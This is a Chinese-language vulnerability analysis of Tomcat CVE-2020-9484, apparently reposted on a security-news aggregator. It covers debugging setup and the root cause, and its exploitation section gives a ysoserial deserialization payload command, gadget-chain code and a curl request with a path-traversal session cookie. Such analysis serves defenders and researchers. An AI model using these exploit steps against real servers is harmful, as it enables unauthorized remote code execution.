Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:12925 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
CVE-2020-9484 tomcat session反序列化漏洞分析
本文来自公众号:合天智汇   2020.07.08 10:29:58


本文借助CVE-2020-9484 Tomcat漏洞详细的介绍了本地和远程调试Tomcat 源码。分析漏洞成因以及补丁修补情况,以及分析ysoserial反序列化链。

0x01 漏洞简介

Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484)。漏洞条件比较苛刻:

  1. tomcat必须启用session持久化功能FileStore
  2. tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget
  3. 在服务器上存在已知路径文件内容可控

0x02 影响范围

Apache Tomcat 10.x < 10.0.0-M5Apache Tomcat 9.x < 9.0.35Apache Tomcat 8.x < 8.5.55Apache Tomcat 7.x < 7.0.104

0x03 漏洞依赖条件

从官网下载tomcat 8.5.30

0x1 配置session持久化

conf/context.xml

    <Manager className="org.apache.catalina.session.PersistentManager"      debug="0"      saveOnRestart="false"      maxActiveSession="-1"      minIdleSwap="-1"      maxIdleSwap="-1"      maxIdleBackup="-1">        <Store className="org.apache.catalina.session.FileStore" directory="./session" />    </Manager>

0x2 部署Gadgets jar包

下载commons-collections4-4.0.jar 并放在tomcat lib/目录下

0x04 多种 Tomcat 调试方法

0x1 本地调试

利用intellij idea 进行本地调试,创建项目、添加tomcat服务、添加tomcat源码包、配置项目lib库文件

Step1 创建项目

创建web Application项目

Step2 添加tomcat服务

选择configurations 配置tomcat 服务信息如下图所示

选择tomcat local ,tomcat 路径、配置端口等

Step3 添加tomcat源码

在intellij idea中添加tomcat 源码

Step4 配置项目lib库文件

为了使得代码能够索引方便调试,将tomcat 相关jar以及源码设成为library,如下图所示

0x2 远程调试

利用intellij idea 进行远程调试,修改默认启动脚本、添加remote调试配置

0x1 修改启动脚本

修改catalina.bat添加debug配置,调试端口为 5005,这是要检验端口有没有被防火墙禁掉

CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"

查看端口是否开放

╰─➤  lsof -i:5005                                                                                1 ↵COMMAND   PID   USER   FD   TYPE             DEVICE SIZE/OFF NODE NAMEjava    65934 xx 6u  IPv4 0x66cb19ff98f7365b      0t0  TCP localhost:avt-profile-2 (LISTEN)

0x2 打开项目

直接打开tomcat 8.5.30 源代码

0x3 配置debug属性

在intellij idea中配置debug ip及port

0x05 漏洞原理及触发分析

当使用tomcat时,如果使用了tomcat提供的session持久化功能,就会在一次会话中尝试读取session文件中的内容,并进行反序列化。

具体逻辑如下:

0x1 路径拼接

如果打开了session 持久化 那么tomcat将会把session 的名称作为文件名并进行读取。

java 路径 org.apache.catalina.session.FileStore:

在file函数中直接将id作为文件名进行拼接,这里可以进行路径穿越到根目录,如下图所示:

0x2 反序列化

Tomcat拼接过路径之后把读取的文件内容带入反序列化函数,如果此时存在文件上传漏洞,就可以达到反序列化RCE的效果。

0x06 漏洞利用

0x1 生成payload

通过Ysoserial 生成反序列化文件,生成方式和原理如下,生成弹出计算器的CommonsCollections2 反序列化payload

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2  "/Applications/Calculator.app/Contents/MacOS/Calculator" > /tmp/test.session

生成payload的关键代码

@Dependencies({"org.apache.commons:commons-collections4:4.0"})@Authors({"frohoff"})public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {    public CommonsCollections2() {    }
public Queue<Object> getObject(String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); PriorityQueue<Object> queue = new PriorityQueue(2, new TransformingComparator(transformer)); queue.add(1); queue.add(1); Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue")); queueArray[0] = templates; queueArray[1] = 1; return queue; }
public static void main(String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); }}

完整漏洞利用链

/*    Gadget chain:        ObjectInputStream.readObject()            PriorityQueue.readObject()                ...                    TransformingComparator.compare()                        InvokerTransformer.transform()                            Method.invoke()                                Runtime.exec() */

具体关于利用链相关可参考 https://xz.aliyun.com/t/1756

0x2 触发

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../../../../../../../tmp/test'

通过错误回显也可看出调用栈

0x07 漏洞补丁

从github tomcat 8.5.55 可以看出漏洞修补在文件判断上,目前没有找到绕过的姿势

0x08 参考链接


https://www.secpulse.com/archives/133378.htmlhttps://c0okb.github.io/2020/05/25/CVE-2020-9484-Tomcat-cluster-sync-session-%E5%A4%8D%E7%8E%B0https://xz.aliyun.com/t/1756



实验推荐:Tomcat AJP协议漏洞

https://www.hetianlab.com/expc.do?ec=ECID85eb-b142-4c98-a8ad-c926f1986c40

(Apache Tomcat服务器存在文件读取漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp /ROOT目录下的任意文件,如:webapp 配置文件或源代码等)